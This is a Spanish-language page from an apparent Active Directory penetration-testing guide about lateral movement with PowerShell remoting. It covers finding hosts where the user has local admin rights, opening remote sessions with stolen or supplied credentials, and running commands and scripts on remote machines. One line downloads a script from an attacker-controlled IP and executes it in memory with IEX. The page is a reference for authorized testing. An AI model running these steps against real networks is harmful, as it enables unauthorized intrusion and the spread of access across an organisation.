> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/movimiento-lateral/powershell-remoting.md).

# PowerShell remoting

Utilizando credenciales de sesión actual.

```powershell
# PowerView
# encontrar todas los hosts en el dominio actual donde el usuario actual tiene acceso de administrador local
Find-LocalAdminAccess

# Stateless (sin estado)
Enter-PSSession -ComputerName <computer-name>

# Stateful (con estado)
$session = New-PSSession -ComputerName <computer-name>
Enter-PSSession -Session $session
```

Utilizando credenciales de un usuario en particular.

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential ("<ACME.LOCAL>\<user>", $UserPassword)
Enter-PSSession -ComputerName <computer-name> -Credential $UserCredential
```

Ejecución de comandos.

```powershell
Invoke-Command -ComputerName <computer-name> -ScriptBlock {hostname; whoami; ipconfig}
```

Ejecución de script.

```powershell
# Opción 1
IEX (iwr http://<IP-address>:<port>/script.ps1 -UseBasicParsing)
$session = New-PSSession -ComputerName <computer-name>
Invoke-Command -Session $session -ScriptBlock ${function:<function-name>}

# Opción 2
$session = New-PSSession -ComputerName <computer-name>
Invoke-Command -FilePath C:\<path>\script.ps1 -Session $session
Enter-PSSession -Session $session
<function-name>

# Opción 3
Import-Module C:\<path>\script.ps1
Invoke-Command -ComputerName <computer-name> -ScriptBlock ${function:<function-name>}
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://activedirectory.mrw0l05zyn.cl/movimiento-lateral/powershell-remoting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
